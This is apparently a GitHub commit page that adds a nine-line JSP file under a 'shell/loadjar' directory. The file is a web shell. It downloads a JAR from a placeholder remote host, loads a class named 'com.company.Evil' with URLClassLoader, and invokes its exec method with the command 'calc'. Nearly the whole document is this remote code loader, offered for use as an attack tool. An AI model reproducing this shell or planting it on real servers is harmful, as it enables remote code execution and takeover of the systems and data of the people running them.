Skip to content

Commit 7b22528

Browse files
authored
Create server.jsp
1 parent aea2593 commit 7b22528

1 file changed

Lines changed: 9 additions & 0 deletions

File tree

shell/loadjar/server.jsp

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*,java.beans.*,java.lang.*"%>
2+
<%
3+
out.println(222222222);
4+
URL url = new URL("http://ip/Temp.jar");
5+
URLClassLoader loader = new URLClassLoader (new URL[] {url});
6+
Class cl = Class.forName ("com.company.Evil", true, loader);
7+
Object evil = cl.newInstance();
8+
cl.getMethod("exec",String.class).invoke(evil,"calc");
9+
%>

0 commit comments

Comments
 (0)